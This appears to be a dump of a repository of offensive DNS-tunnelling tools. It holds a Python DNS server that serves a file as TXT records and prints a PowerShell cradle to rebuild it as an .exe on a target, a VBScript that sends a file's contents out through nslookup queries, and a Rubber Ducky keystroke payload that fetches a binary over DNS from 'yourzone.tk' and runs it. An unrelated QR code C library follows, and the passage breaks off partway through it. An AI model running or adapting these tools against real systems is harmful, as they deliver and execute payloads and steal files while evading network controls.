20 | class DomainName(str): 21 | def __getattr__(self, item): 22 | return DomainName(item + '.' + self) 23 | 24 | 25 | class BaseRequestHandler(socketserver.BaseRequestHandler): 26 | 27 | def get_data(self): 28 | raise NotImplementedError 29 | 30 | def send_data(self, data): 31 | raise NotImplementedError 32 | 33 | def handle(self): 34 | now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f') 35 | try: 36 | data = self.get_data() 37 | self.send_data(dns_response(data)) 38 | except Exception: 39 | traceback.print_exc(file=sys.stderr) 40 | 41 | 42 | class TCPRequestHandler(BaseRequestHandler): 43 | 44 | def get_data(self): 45 | data = self.request.recv(8192).strip() 46 | sz = struct.unpack('>H', data[:2])[0] 47 | if sz < len(data) - 2: 48 | raise Exception("Wrong size of TCP packet") 49 | elif sz > len(data) - 2: 50 | raise Exception("Too big TCP packet") 51 | return data[2:] 52 | 53 | def send_data(self, data): 54 | sz = struct.pack('>H', len(data)) 55 | return self.request.sendall(sz + data) 56 | 57 | 58 | class UDPRequestHandler(BaseRequestHandler): 59 | 60 | def get_data(self): 61 | return self.request[0] 62 | 63 | def send_data(self, data): 64 | return self.request[1].sendto(data, self.client_address) 65 | 66 | 67 | def dns_response(data): 68 | request = DNSRecord.parse(data) 69 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 70 | 71 | qname = request.q.qname 72 | qn = str(qname).lower() 73 | 74 | print(f'[+] {qn.rstrip(".")}', end='\r') 75 | 76 | qtype = request.q.qtype 77 | qt = QTYPE[qtype] 78 | 79 | if qn == D or qn.endswith('.' + D): 80 | for name, rrs in records.items(): 81 | if name == qn: 82 | for rdata in rrs: 83 | rqt = rdata.__class__.__name__ 84 | if qt in ['*', rqt]: 85 | reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=TTL, rdata=rdata)) 86 | 87 | for rdata in ns_records: 88 | reply.add_ar(RR(rname=D, rtype=QTYPE.NS, rclass=1, ttl=TTL, rdata=rdata)) 89 | 90 | reply.add_auth(RR(rname=D, rtype=QTYPE.SOA, rclass=1, ttl=TTL, rdata=soa_record)) 91 | 92 | return reply.pack() 93 | 94 | 95 | def main(): 96 | parser = argparse.ArgumentParser(description='A DNS server in Python.') 97 | parser.add_argument('name_server', help='NS domain name') 98 | parser.add_argument('--port', default=53, type=int, help='port to listen on') 99 | parser.add_argument('--tcp', action='store_true', help='listen for TCP connections') 100 | parser.add_argument('--udp', action='store_true', help='listen for UDP datagrams') 101 | parser.add_argument('--file', help='the file to send') 102 | parser.add_argument('-s', '--sleep', default='300', help='delay between DNS requests') 103 | parser.add_argument('-o', '--output', default=r'C:\Windows\Temp\test.exe', help='output file path') 104 | 105 | args = parser.parse_args() 106 | if not (args.udp or args.tcp): parser.error("Please select at least one of --udp or --tcp options") 107 | 108 | global D 109 | global TTL 110 | global soa_record 111 | global ns_records 112 | global records 113 | 114 | D = DomainName(f'{args.name_server}.') 115 | IP = '127.0.0.1' 116 | TTL = 60 * 5 117 | 118 | soa_record = SOA( 119 | mname=D.ns1, 120 | rname=D.root, 121 | times=( 122 | 201307231, 123 | 60 * 60 * 1, 124 | 60 * 60 * 3, 125 | 60 * 60 * 24, 126 | 60 * 60 * 1, 127 | ) 128 | ) 129 | ns_records = [NS(D.ns1), NS(D.ns2)] 130 | 131 | records = { 132 | D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records, 133 | D.ns1: [A(IP)], 134 | D.ns2: [A(IP)], 135 | D.mail: [A(IP)], 136 | D.root: [CNAME(D)], 137 | } 138 | 139 | with open(args.file, 'rb') as f: 140 | data = f.read() 141 | print(f'[*] {args.file} SHA256: {hashlib.sha256(data).hexdigest()}') 142 | 143 | i = 0 144 | for chunk in range(0, len(data), 126): 145 | i += 1 146 | #print(f"[*] 'd{i}.{args.name_server}.' = {data[chunk:chunk+126].hex()}") 147 | records[DomainName(f'd{i}.{args.name_server}.')] = [TXT(data[chunk:chunk + 126].hex())] 148 | 149 | print(f"""[*] PS cradle:\n\nfor($d=1;$d -le {i};$d++){{while (1){{try {{$a=(Resolve-DnsName "d$d.{args.name_server}" -Type TXT -Server 1.1.1.1 -ErrorAction Stop).Strings}}catch{{continue}};break}};$b = @();for ($i=0;$i -le "$a".Length-1;$i=$i+2){{$b+=[convert]::ToByte($a.Substring($i,2),16)}};while (1){{Sleep -mi {args.sleep};try {{Add-Content "{args.output}" -Value $b -Encoding Byte -ErrorAction Stop}}catch {{continue}};break}}}}\n""") 150 | print(f'[*] Total DNS requests: {i}') 151 | 152 | servers = [] 153 | if args.udp: servers.append(socketserver.ThreadingUDPServer(('', args.port), UDPRequestHandler)) 154 | if args.tcp: servers.append(socketserver.ThreadingTCPServer(('', args.port), TCPRequestHandler)) 155 | 156 | for s in servers: 157 | thread = threading.Thread(target=s.serve_forever) 158 | thread.daemon = True 159 | thread.start() 160 | 161 | try: 162 | while True: 163 | time.sleep(1) 164 | sys.stderr.flush() 165 | sys.stdout.flush() 166 | except KeyboardInterrupt: 167 | pass 168 | finally: 169 | for s in servers: 170 | s.shutdown() 171 | 172 | if __name__ == '__main__': 173 | main() 174 | -------------------------------------------------------------------------------- /dns_upload.vbs: -------------------------------------------------------------------------------- 1 | Set objShell = CreateObject("WScript.Shell") 2 | Set file = CreateObject("Scripting.FileSystemObject").GetFile(Wscript.Arguments(0)) 3 | content = file.OpenAsTextStream().Read(file.Size) 4 | pos = 0 5 | While pos < len(content) 6 | bytes = "" 7 | For c = 1 To 25 8 | If Not Mid(content,pos+c,1) = "" Then 9 | If Asc(Mid(content,pos+c,1)) >= 16 Then 10 | bytes = bytes & Hex(Asc(Mid(content,pos+c,1))) 11 | Else 12 | bytes = bytes & "0" & Hex(Asc(Mid(content,pos+c,1))) 13 | End If 14 | End If 15 | Next 16 | Wscript.Echo pos & "." & bytes & "." & Wscript.Arguments(1) 17 | objShell.Exec("nslookup " & pos & "." & bytes & "." & Wscript.Arguments(1)).Stdout.ReadAll() 18 | pos = pos + 25 19 | Wscript.Sleep 100 20 | Wend 21 | 22 | Wscript.Echo "done" -------------------------------------------------------------------------------- /ducky-dnsexec.txt: -------------------------------------------------------------------------------- 1 | GUI r 2 | GUI r 3 | DELAY 300 4 | STRING cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("out.exe"^))>1.vbs& ping x1.yourzone.tk" 5 | ENTER 6 | 7 | GUI r 8 | DELAY 300 9 | STRING cmd /C "(echo For d = 1 To 927& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.yourzone.tk"^)& echo res = exec.Stdout.ReadAll^(^))>>1.vbs& ping x2.yourzone.tk" 10 | ENTER 11 | 12 | GUI r 13 | DELAY 300 14 | STRING cmd /C "(echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>>1.vbs& ping x3.yourzone.tk" 15 | ENTER 16 | 17 | GUI r 18 | DELAY 300 19 | STRING cmd /C "wscript 1.vbs & out.exe" 20 | ENTER 21 | -------------------------------------------------------------------------------- /lib/qrcodegen.c: -------------------------------------------------------------------------------- 1 | /* 2 | * QR Code generator library (C) 3 | * 4 | * Copyright (c) Project Nayuki. (MIT License) 5 | * https://www.nayuki.io/page/qr-code-generator-library 6 | * 7 | * Permission is hereby granted, free of charge, to any person obtaining a copy of 8 | * this software and associated documentation files (the "Software"), to deal in 9 | * the Software without restriction, including without limitation the rights to 10 | * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 11 | * the Software, and to permit persons to whom the Software is furnished to do so, 12 | * subject to the following conditions: 13 | * - The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * - The Software is provided "as is", without warranty of any kind, express or 16 | * implied, including but not limited to the warranties of merchantability, 17 | * fitness for a particular purpose and noninfringement. In no event shall the 18 | * authors or copyright holders be liable for any claim, damages or other 19 | * liability, whether in an action of contract, tort or otherwise, arising from, 20 | * out of or in connection with the Software or the use or other dealings in the 21 | * Software. 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include "qrcodegen.h" 29 | 30 | #ifndef QRCODEGEN_TEST 31 | #define testable static // Keep functions private 32 | #else 33 | #define testable // Expose private functions 34 | #endif 35 | 36 | 37 | /*---- Forward declarations for private functions ----*/ 38 | 39 | // Regarding all public and private functions defined in this source file: 40 | // - They require all pointer/array arguments to be not null unless the array length is zero. 41 | // - They only read input scalar/array arguments, write to output pointer/array 42 | // arguments, and return scalar values; they are "pure" functions. 43 | // - They don't read mutable global variables or write to any global variables. 44 | // - They don't perform I/O, read the clock, print to console, etc. 45 | // - They allocate a small and constant amount of stack memory. 46 | // - They don't allocate or free any memory on the heap. 47 | // - They don't recurse or mutually recurse. All the code 48 | // could be inlined into the top-level public functions. 49 | // - They run in at most quadratic time with respect to input arguments. 50 | // Most functions run in linear time, and some in constant time. 51 | // There are no unbounded loops or non-obvious termination conditions. 52 | // - They are completely thread-safe if the caller does not give the 53 | // same writable buffer to concurrent calls to these functions. 54 | 55 | testable void appendBitsToBuffer(unsigned int val, int numBits, uint8_t buffer[], int *bitLen); 56 | 57 | testable void addEccAndInterleave(uint8_t data[], int version, enum qrcodegen_Ecc ecl, uint8_t result[]); 58 | testable int getNumDataCodewords(int version, enum qrcodegen_Ecc ecl); 59 | testable int getNumRawDataModules(int ver); 60 | 61 | testable void reedSolomonComputeDivisor(int degree, uint8_t result[]); 62 | testable void reedSolomonComputeRemainder(const uint8_t data[], int dataLen, 63 | const uint8_t generator[], int degree, uint8_t result[]); 64 | testable uint8_t reedSolomonMultiply(uint8_t x, uint8_t y); 65 | 66 | testable void initializeFunctionModules(int version, uint8_t qrcode[]); 67 | static void drawLightFunctionModules(uint8_t qrcode[], int version); 68 | static void drawFormatBits(enum qrcodegen_Ecc ecl, enum qrcodegen_Mask mask, uint8_t qrcode[]); 69 | testable int getAlignmentPatternPositions(int version, uint8_t result[7]); 70 | static void fillRectangle(int left, int top, int width, int height, uint8_t qrcode[]); 71 | 72 | static void drawCodewords(const uint8_t data[], int dataLen, uint8_t qrcode[]); 73 | static void applyMask(const uint8_t functionModules[], uint8_t qrcode[], enum qrcodegen_Mask mask); 74 | static long getPenaltyScore(const uint8_t qrcode[]); 75 | static int finderPenaltyCountPatterns(const int runHistory[7], int qrsize); 76 | static int finderPenaltyTerminateAndCount(bool currentRunColor, int currentRunLength, int runHistory[7], int qrsize); 77 | static void finderPenaltyAddHistory(int currentRunLength, int runHistory[7], int qrsize); 78 | 79 | testable bool getModule(const uint8_t qrcode[], int x, int y); 80 | testable void setModule(uint8_t qrcode[], int x, int y, bool isDark); 81 | testable void setModuleBounded(uint8_t qrcode[], int x, int y, bool isDark); 82 | static bool getBit(int x, int i); 83 | 84 | testable int calcSegmentBitLength(enum qrcodegen_Mode mode, size_t numChars); 85 | testable int getTotalBits(const struct qrcodegen_Segment segs[], size_t len, int version); 86 | static int numCharCountBits(enum qrcodegen_Mode mode, int version); 87 | 88 | 89 | 90 | /*---- Private tables of constants ----*/ 91 | 92 | // The set of all legal characters in alphanumeric mode, where each character 93 | // value maps to the index in the string. For checking text and encoding segments. 94 | static const char *ALPHANUMERIC_CHARSET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"; 95 | 96 | // For generating error correction codes. 97 | testable const int8_t ECC_CODEWORDS_PER_BLOCK[4][41] = { 98 | // Version: (note that index 0 is for padding, and is set to an illegal value) 99 | //0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 Error correction level 100 | {-1, 7, 10, 15, 20, 26, 18, 20, 24, 30, 18, 20, 24, 26, 30, 22, 24, 28, 30, 28, 28, 28, 28, 30, 30, 26, 28, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30}, // Low 101 | {-1, 10, 16, 26, 18, 24, 16, 18, 22, 22, 26, 30, 22, 22, 24, 24, 28, 28, 26, 26, 26, 26, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28}, // Medium 102 | {-1, 13, 22, 18, 26, 18, 24, 18, 22, 20, 24, 28, 26, 24, 20, 30, 24, 28, 28, 26, 30, 28, 30, 30, 30, 30, 28, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30}, // Quartile 103 | {-1, 17, 28, 22, 16, 22, 28, 26, 26, 24, 28, 24, 28, 22, 24, 24, 30, 28, 28, 26, 28, 30, 24, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30}, // High 104 | }; 105 | 106 | #define qrcodegen_REED_SOLOMON_DEGREE_MAX 30 // Based on the table above 107 | 108 | // For generating error correction codes. 109 | testable const int8_t NUM_ERROR_CORRECTION_BLOCKS[4][41] = { 110 | // Version: (note that index 0 is for padding, and is set to an illegal value) 111 | //0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 Error correction level 112 | {-1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 4, 4, 4, 4, 6, 6, 6, 6, 7, 8, 8, 9, 9, 10, 12, 12, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 21, 22, 24, 25}, // Low 113 | {-1, 1, 1, 1, 2, 2, 4, 4, 4, 5, 5, 5, 8, 9, 9, 10, 10, 11, 13, 14, 16, 17, 17, 18, 20, 21, 23, 25, 26, 28, 29, 31, 33, 35, 37, 38, 40, 43, 45, 47, 49}, // Medium 114 | {-1, 1, 1, 2, 2, 4, 4, 6, 6, 8, 8, 8, 10, 12, 16, 12, 17, 16, 18, 21, 20, 23, 23, 25, 27, 29, 34, 34, 35, 38, 40, 43, 45, 48, 51, 53, 56, 59, 62, 65, 68}, // Quartile 115 | {-1, 1, 1, 2, 4, 4, 4, 5, 6, 8, 8, 11, 11, 16, 16, 18, 16, 19, 21, 25, 25, 25, 34, 30, 32, 35, 37, 40, 42, 45, 48, 51, 54, 57, 60, 63, 66, 70, 74, 77, 81}, // High 116 | }; 117 | 118 | // For automatic mask pattern selection. 119 | static const int PENALTY_N1 = 3; 120 | static const int PENALTY_N2 = 3; 121 | static const int PENALTY_N3 = 40; 122 | static const int PENALTY_N4 = 10; 123 | 124 | 125 | 126 | /*---- High-level QR Code encoding functions ----*/ 127 | 128 | // Public function - see documentation comment in header file. 129 | bool qrcodegen_encodeText(const char *text, uint8_t tempBuffer[], uint8_t qrcode[], 130 | enum qrcodegen_Ecc ecl, int minVersion, int maxVersion, enum qrcodegen_Mask mask, bool boostEcl) { 131 | 132 | size_t textLen = strlen(text); 133 | if (textLen == 0) 134 | return qrcodegen_encodeSegmentsAdvanced(NULL, 0, ecl, minVersion, maxVersion, mask, boostEcl, tempBuffer, qrcode); 135 | size_t bufLen = (size_t)qrcodegen_BUFFER_LEN_FOR_VERSION(maxVersion); 136 | 137 | struct qrcodegen_Segment seg; 138 | if (qrcodegen_isNumeric(text)) { 139 | if (qrcodegen_calcSegmentBufferSize(qrcodegen_Mode_NUMERIC, textLen) > bufLen) 140 | goto fail; 141 | seg = qrcodegen_makeNumeric(text, tempBuffer); 142 | } else if (qrcodegen_isAlphanumeric(text)) { 143 | if (qrcodegen_calcSegmentBufferSize(qrcodegen_Mode_ALPHANUMERIC, textLen) > bufLen) 144 | goto fail; 145 | seg = qrcodegen_makeAlphanumeric(text, tempBuffer); 146 | } else { 147 | if (textLen > bufLen) 148 | goto fail; 149 | for (size_t i = 0; i < textLen; i++) 150 | tempBuffer[i] = (uint8_t)text[i]; 151 | seg.mode = qrcodegen_Mode_BYTE; 152 | seg.bitLength = calcSegmentBitLength(seg.mode, textLen); 153 | if (seg.bitLength == -1) 154 | goto fail; 155 | seg.numChars = (int)textLen; 156 | seg.data = tempBuffer; 157 | } 158 | return qrcodegen_encodeSegmentsAdvanced(&seg, 1, ecl, minVersion, maxVersion, mask, boostEcl, tempBuffer, qrcode); 159 | 160 | fail: 161 | qrcode[0] = 0; // Set size to invalid value for safety 162 | return false; 163 | } 164 | 165 | 166 | // Public function - see documentation comment in header file. 167 | bool qrcodegen_encodeBinary(uint8_t dataAndTemp[], size_t dataLen, uint8_t qrcode[], 168 | enum qrcodegen_Ecc ecl, int minVersion, int maxVersion, enum qrcodegen_Mask mask, bool boostEcl) { 169 | 170 | struct qrcodegen_Segment seg; 171 | seg.mode = qrcodegen_Mode_BYTE; 172 | seg.bitLength = calcSegmentBitLength(seg.mode, dataLen); 173 | if (seg.bitLength == -1) { 174 | qrcode[0] = 0; // Set size to invalid value for safety 175 | return false; 176 | } 177 | seg.numChars = (int)dataLen; 178 | seg.data = dataAndTemp; 179 | return qrcodegen_encodeSegmentsAdvanced(&seg, 1, ecl, minVersion, maxVersion, mask, boostEcl, dataAndTemp, qrcode); 180 | } 181 | 182 | 183 | // Appends the given number of low-order bits of the given value to the given byte-based 184 | // bit buffer, increasing the bit length. Requires 0 <= numBits <= 16 and val < 2^numBits. 185 | testable void appendBitsToBuffer(unsigned int val, int numBits, uint8_t buffer[], int *bitLen) { 186 | assert(0 <= numBits && numBits <= 16 && (unsigned long)val >> numBits == 0); 187 | for (int i = numBits - 1; i >= 0; i--, (*bitLen)++) 188 | buffer[*bitLen >> 3] |= ((val >> i) & 1) << (7 - (*bitLen & 7)); 189 | } 190 | 191 | 192 | 193 | /*---- Low-level QR Code encoding functions ----*/ 194 | 195 | // Public function - see documentation comment in header file. 196 | bool qrcodegen_encodeSegments(const struct qrcodegen_Segment segs[], size_t len, 197 | enum qrcodegen_Ecc ecl, uint8_t tempBuffer[], uint8_t qrcode[]) { 198 | return qrcodegen_encodeSegmentsAdvanced(segs, len, ecl, 199 | qrcodegen_VERSION_MIN, qrcodegen_VERSION_MAX, qrcodegen_Mask_AUTO, true, tempBuffer, qrcode); 200 | } 201 | 202 | 203 | // Public function - see documentation comment in header file. 204 | bool qrcodegen_encodeSegmentsAdvanced(const struct qrcodegen_Segment segs[], size_t len, enum qrcodegen_Ecc ecl, 205 | int minVersion, int maxVersion, enum qrcodegen_Mask mask, bool boostEcl, uint8_t tempBuffer[], uint8_t qrcode[]) { 206 | assert(segs != NULL || len == 0); 207 | assert(qrcodegen_VERSION_MIN <= minVersion && minVersion <= maxVersion && maxVersion <= qrcodegen_VERSION_MAX); 208 | assert(0 <= (int)ecl && (int)ecl <= 3 && -1 <= (int)mask && (int)mask <= 7); 209 | 210 | // Find the minimal version number to use 211 | int version, dataUsedBits; 212 | for (version = minVersion; ; version++) { 213 | int dataCapacityBits = getNumDataCodewords(version, ecl) * 8; // Number of data bits available 214 | dataUsedBits = getTotalBits(segs, len, version); 215 | if (dataUsedBits != -1 && dataUsedBits <= dataCapacityBits) 216 | break; // This version number is found to be suitable 217 | if (version >= maxVersion) { // All versions in the range could not fit the given data 218 | qrcode[0] = 0; // Set size to invalid value for safety 219 | return false; 220 | } 221 | } 222 | assert(dataUsedBits != -1); 223 | 224 | // Increase the error correction level while the data still fits in the current version number 225 | for (int i = (int)qrcodegen_Ecc_MEDIUM; i <= (int)qrcodegen_Ecc_HIGH; i++) { // From low to high 226 | if (boostEcl && dataUsedBits <= getNumDataCodewords(version, (enum qrcodegen_Ecc)i) * 8) 227 | ecl = (enum qrcodegen_Ecc)i; 228 | } 229 | 230 | // Concatenate all segments to create the data bit string 231 | memset(qrcode, 0, (size_t)qrcodegen_BUFFER_LEN_FOR_VERSION(version) * sizeof(qrcode[0])); 232 | int bitLen = 0; 233 | for (size_t i = 0; i < len; i++) { 234 | const struct qrcodegen_Segment *seg = &segs[i]; 235 | appendBitsToBuffer((unsigned int)seg->mode, 4, qrcode, &bitLen); 236 | appendBitsToBuffer((unsigned int)seg->numChars, numCharCountBits(seg->mode, version), qrcode, &bitLen); 237 | for (int j = 0; j < seg->bitLength; j++) { 238 | int bit = (seg->data[j >> 3] >> (7 - (j & 7))) & 1; 239 | appendBitsToBuffer((unsigned int)bit, 1, qrcode, &bitLen); 240 | } 241 | } 242 | assert(bitLen == dataUsedBits); 243 | 244 | // Add terminator and pad up to a byte if applicable 245 | int dataCapacityBits = getNumDataCodewords(version, ecl) * 8; 246 | assert(bitLen <= dataCapacityBits); 247 | int terminatorBits = dataCapacityBits - bitLen; 248 | if (terminatorBits > 4) 249 | terminatorBits = 4; 250 | appendBitsToBuffer(0, terminatorBits, qrcode, &bitLen); 251 | appendBitsToBuffer(0, (8 - bitLen % 8) % 8, qrcode, &bitLen); 252 | assert(bitLen % 8 == 0); 253 | 254 | // Pad with alternating bytes until data capacity is reached 255 | for (uint8_t padByte = 0xEC; bitLen < dataCapacityBits; padByte ^= 0xEC ^ 0x11) 256 | appendBitsToBuffer(padByte, 8, qrcode, &bitLen); 257 | 258 | // Draw function and data codeword modules 259 | addEccAndInterleave(qrcode, version, ecl, tempBuffer); 260 | initializeFunctionModules(version, qrcode); 261 | drawCodewords(tempBuffer, getNumRawDataModules(version) / 8, qrcode); 262 | drawLightFunctionModules(qrcode, version); 263 | initializeFunctionModules(version, tempBuffer); 264 | 265 | // Handle masking 266 | if (mask == qrcodegen_Mask_AUTO) { // Automatically choose best mask 267 | long minPenalty = LONG_MAX; 268 | for (int i = 0; i < 8; i++) { 269 | enum qrcodegen_Mask msk = (enum qrcodegen_Mask)i; 270 | applyMask(tempBuffer, qrcode, msk); 271 | drawFormatBits(ecl, msk, qrcode); 272 | long penalty = getPenaltyScore(qrcode); 273 | if (penalty < minPenalty) { 274 | mask = msk; 275 | minPenalty = penalty; 276 | } 277 | applyMask(tempBuffer, qrcode, msk); // Undoes the mask due to XOR 278 | } 279 | } 280 | assert(0 <= (int)mask && (int)mask <= 7); 281 | applyMask(tempBuffer, qrcode, mask); 282 | drawFormatBits(ecl, mask, qrcode); 283 | return true; 284 | } 285 | 286 | 287 | 288 | /*---- Error correction code generation functions ----*/ 289 | 290 | // Appends error correction bytes to each block of the given data array, then interleaves 291 | // bytes from the blocks and stores them in the result array. data[0 : dataLen] contains 292 | // the input data. data[dataLen : rawCodewords] is used as a temporary work area and will 293 | // be clobbered by this function. The final answer is stored in result[0 : rawCodewords]. 294 | testable void addEccAndInterleave(uint8_t data[], int version, enum qrcodegen_Ecc ecl, uint8_t result[]) { 295 | // Calculate parameter numbers 296 | assert(0 <= (int)ecl && (int)ecl < 4 && qrcodegen_VERSION_MIN <= version && version <= qrcodegen_VERSION_MAX); 297 | int numBlocks = NUM_ERROR_CORRECTION_BLOCKS[(int)ecl][version]; 298 | int blockEccLen = ECC_CODEWORDS_PER_BLOCK [(int)ecl][version]; 299 | int rawCodewords = getNumRawDataModules(version) / 8; 300 | int dataLen = getNumDataCodewords(version, ecl); 301 | int numShortBlocks = numBlocks - rawCodewords % numBlocks; 302 | int shortBlockDataLen = rawCodewords / numBlocks - blockEccLen; 303 | 304 | // Split data into blocks, calculate ECC, and interleave 305 | // (not concatenate) the bytes into a single sequence 306 | uint8_t rsdiv[qrcodegen_REED_SOLOMON_DEGREE_MAX]; 307 | reedSolomonComputeDivisor(blockEccLen, rsdiv); 308 | const uint8_t *dat = data; 309 | for (int i = 0; i < numBlocks; i++) { 310 | int datLen = shortBlockDataLen + (i < numShortBlocks ? 0 : 1); 311 | uint8_t *ecc = &data[dataLen]; // Temporary storage 312 | reedSolomonComputeRemainder(dat, datLen, rsdiv, blockEccLen, ecc); 313 | for (int j = 0, k = i; j < datLen; j++, k += numBlocks) { // Copy data 314 | if (j == shortBlockDataLen) 315 | k -= numShortBlocks; 316 | result[k] = dat[j]; 317 | } 318 | for (int j = 0, k = dataLen + i; j < blockEccLen; j++, k += numBlocks) // Copy ECC 319 | result[k] = ecc[j]; 320 | dat += datLen; 321 | } 322 | } 323 | 324 | 325 | // Returns the number of 8-bit codewords that can be used for storing data (not ECC), 326 | // for the given version number and error correction level. The result is in the range [9, 2956]. 327 | testable int getNumDataCodewords(int version, enum qrcodegen_Ecc ecl) { 328 | int v = version, e = (int)ecl; 329 | assert(0 <= e && e < 4); 330 | return getNumRawDataModules(v) / 8 331 | - ECC_CODEWORDS_PER_BLOCK [e][v] 332 | * NUM_ERROR_CORRECTION_BLOCKS[e][v]; 333 | } 334 | 335 | 336 | // Returns the number of data bits that can be stored in a QR Code of the given version number, after 337 | // all function modules are excluded. This includes remainder bits, so it might not be a multiple of 8. 338 | // The result is in the range [208, 29648]. This could be implemented as a 40-entry lookup table. 339 | testable int getNumRawDataModules(int ver) { 340 | assert(qrcodegen_VERSION_MIN <= ver && ver <= qrcodegen_VERSION_MAX); 341 | int result = (16 * ver + 128) * ver + 64; 342 | if (ver >= 2) { 343 | int numAlign = ver / 7 + 2; 344 | result -= (25 * numAlign - 10) * numAlign - 55; 345 | if (ver >= 7) 346 | result -= 36; 347 | } 348 | assert(208 <= result && result <= 29648); 349 | return result; 350 | } 351 | 352 | 353 | 354 | /*---- Reed-Solomon ECC generator functions ----*/ 355 | 356 | // Computes a Reed-Solomon ECC generator polynomial for the given degree, storing in result[0 : degree]. 357 | // This could be implemented as a lookup table over all possible parameter values, instead of as an algorithm. 358 | testable void reedSolomonComputeDivisor(int degree, uint8_t result[]) { 359 | assert(1 <= degree && degree <= qrcodegen_REED_SOLOMON_DEGREE_MAX); 360 | // Polynomial coefficients are stored from highest to lowest power, excluding the leading term which is always 1. 361 | // For example the polynomial x^3 + 255x^2 + 8x + 93 is stored as the uint8 array {255, 8, 93}. 362 | memset(result, 0, (size_t)degree * sizeof(result[0])); 363 | result[degree - 1] = 1; // Start off with the monomial x^0 364 | 365 | // Compute the product polynomial (x - r^0) * (x - r^1) * (x - r^2) * ... * (x - r^{degree-1}), 366 | // drop the highest monomial term which is always 1x^degree. 367 | // Note that r = 0x02, which is a generator element of this field GF(2^8/0x11D). 368 | uint8_t root = 1; 369 | for (int i = 0; i < degree; i++) { 370 | // Multiply the current product by (x - r^i) 371 | for (int j = 0; j < degree; j++) { 372 | result[j] = reedSolomonMultiply(result[j], root); 373 | if (j + 1 < degree) 374 | result[j] ^= result[j + 1]; 375 | } 376 | root = reedSolomonMultiply(root, 0x02); 377 | } 378 | } 379 | 380 | 381 | // Computes the Reed-Solomon error correction codeword for the given data and divisor polynomials. 382 | // The remainder when data[0 : dataLen] is divided by divisor[0 : degree] is stored in result[0 : degree]. 383 | // All polynomials are in big endian, and the generator has an implicit leading 1 term. 384 | testable void reedSolomonComputeRemainder(const uint8_t data[], int dataLen, 385 | const uint8_t generator[], int degree, uint8_t result[]) { 386 | assert(1 <= degree && degree <= qrcodegen_REED_SOLOMON_DEGREE_MAX); 387 | memset(result, 0, (size_t)degree * sizeof(result[0])); 388 | for (int i = 0; i < dataLen; i++) { // Polynomial division 389 | uint8_t factor = data[i] ^ result[0]; 390 | memmove(&result[0], &result[1], (size_t)(degree - 1) * sizeof(result[0])); 391 | result[degree - 1] = 0; 392 | for (int j = 0; j < degree; j++) 393 | result[j] ^= reedSolomonMultiply(generator[j], factor); 394 | } 395 | } 396 | 397 | #undef qrcodegen_REED_SOLOMON_DEGREE_MAX 398 | 399 | 400 | // Returns the product of the two given field elements modulo GF(2^8/0x11D). 401 | // All inputs are valid. This could be implemented as a 256*256 lookup table. 402 | testable uint8_t reedSolomonMultiply(uint8_t x, uint8_t y) { 403 | // Russian peasant multiplication 404 | uint8_t z = 0; 405 | for (int i = 7; i >= 0; i--) { 406 | z = (uint8_t)((z << 1) ^ ((z >> 7) * 0x11D)); 407 | z ^= ((y >> i) & 1) * x; 408 | } 409 | return z; 410 | } 411 | 412 | 413 | 414 | /*---- Drawing function modules ----*/ 415 | 416 | // Clears the given QR Code grid with light modules for the given 417 | // version's size, then marks every function module as dark. 418 | testable void initializeFunctionModules(int version, uint8_t qrcode[]) { 419 | // Initialize QR Code 420 | int qrsize = version * 4 + 17; 421 | memset(qrcode, 0, (size_t)((qrsize * qrsize + 7) / 8 + 1) * sizeof(qrcode[0])); 422 | qrcode[0] = (uint8_t)qrsize; 423 | 424 | // Fill horizontal and vertical timing patterns 425 | fillRectangle(6, 0, 1, qrsize, qrcode); 426 | fillRectangle(0, 6, qrsize, 1, qrcode); 427 | 428 | // Fill 3 finder patterns (all corners except bottom right) and format bits 429 | fillRectangle(0, 0, 9, 9, qrcode); 430 | fillRectangle(qrsize - 8, 0, 8, 9, qrcode); 431 | fillRectangle(0, qrsize - 8, 9, 8, qrcode); 432 | 433 | // Fill numerous alignment patterns 434 | uint8_t alignPatPos[7]; 435 | int numAlign = getAlignmentPatternPositions(version, alignPatPos); 436 | for (int i = 0; i < numAlign; i++) { 437 | for (int j = 0; j < numAlign; j++) { 438 | // Don't draw on the three finder corners 439 | if (!((i == 0 && j == 0) || (i == 0 && j == numAlign - 1) || (i == numAlign - 1 && j == 0))) 440 | fillRectangle(alignPatPos[i] - 2, alignPatPos[j] - 2, 5, 5, qrcode); 441 | } 442 | } 443 | 444 | // Fill version blocks 445 | if (version >= 7) { 446 | fillRectangle(qrsize - 11, 0, 3, 6, qrcode); 447 | fillRectangle(0, qrsize - 11, 6, 3, qrcode); 448 | } 449 | } 450 | 451 | 452 | // Draws light function modules and possibly some dark modules onto the given QR 